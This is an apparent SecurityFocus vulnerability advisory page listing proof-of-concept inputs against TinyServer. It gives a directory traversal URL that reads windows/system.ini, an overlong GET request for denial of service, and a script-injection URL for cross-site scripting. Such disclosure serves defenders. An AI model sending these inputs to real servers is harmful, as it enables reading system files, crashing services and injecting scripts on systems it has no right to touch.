Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

TinyServer Multiple Vulnerabilities

The following proof of concept was supplied:

Directory traversal:
http://[host]/../../windows/system.ini

Denial of service:
GET /index.htm

index.htm

GET /aaaaaa[ 260 of a ]aaa HTTP/1.1

Cross-site scripting:
http://[host]/<script>alert("Test")</script>







 

Privacy Statement
Copyright 2008, SecurityFocus